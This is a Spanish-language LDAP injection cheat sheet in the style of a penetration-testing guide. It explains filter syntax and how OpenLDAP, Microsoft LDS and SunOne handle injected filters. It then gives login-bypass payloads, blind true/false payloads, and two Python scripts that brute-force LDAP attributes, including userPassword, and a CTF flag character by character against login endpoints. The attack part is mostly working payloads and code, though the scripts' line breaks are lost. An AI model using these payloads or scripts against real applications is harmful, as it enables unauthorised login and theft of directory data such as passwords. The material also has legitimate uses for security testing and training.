La Inyección LDAP es un ataque dirigido a aplicaciones web que construyen declaraciones LDAP a partir de la entrada del usuario. Ocurre cuando la aplicación no sanitiza adecuadamente la entrada, lo que permite a los atacantes manipular declaraciones LDAP a través de un proxy local, lo que potencialmente puede llevar a un acceso no autorizado o a la manipulación de datos.
Por ejemplo:
(&(!(objectClass=Impresoras))(uid=s*))(&(objectClass=user)(uid=*))
Puedes acceder a la base de datos, la cual puede contener información de muchos tipos diferentes.
OpenLDAP: Si llegan 2 filtros, solo ejecuta el primero.
ADAM o Microsoft LDS: Con 2 filtros lanzan un error.
SunOne Directory Server 5.0: Ejecuta ambos filtros.
Es muy importante enviar el filtro con la sintaxis correcta o se lanzará un error. Es mejor enviar solo 1 filtro.
El filtro debe comenzar con: & o |
Ejemplo: (&(directory=val1)(folder=public))
Entonces: (&(objectClass=*)(ObjectClass=*)) será el primer filtro (el que se ejecuta).
Bypass de Inicio de Sesión
LDAP admite varios formatos para almacenar la contraseña: clara, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que independientemente de lo que insertes dentro de la contraseña, esta sea hasheada.
user=*password=*--> (&(user=*)(password=*))# The asterisks are great in LDAPi
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
Puede forzar respuestas Falsas o Verdaderas para verificar si se devuelve algún dato y confirmar una posible Inyección LDAP a ciegas:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Volcar datos
Puedes iterar sobre las letras ascii, dígitos y símbolos:
Los objetos LDAP contienen por defecto varios atributos que podrían ser utilizados para guardar información. Puedes intentar realizar fuerza bruta en todos ellos para extraer esa información. Puedes encontrar una lista de atributos LDAP por defecto aquí.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes:#Extract all attributesvalue =""finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable charquery =f"*)({attribute}={value}{char}*"data ={'login':query,'password':'bla'}r = requests.post(url, data=data, proxies=proxy)sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text:value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the valuefinish =Trueprint()
Inyección LDAP ciega especial (sin "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet:r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text):flag += charprint("[+] Flag: "+ flag)break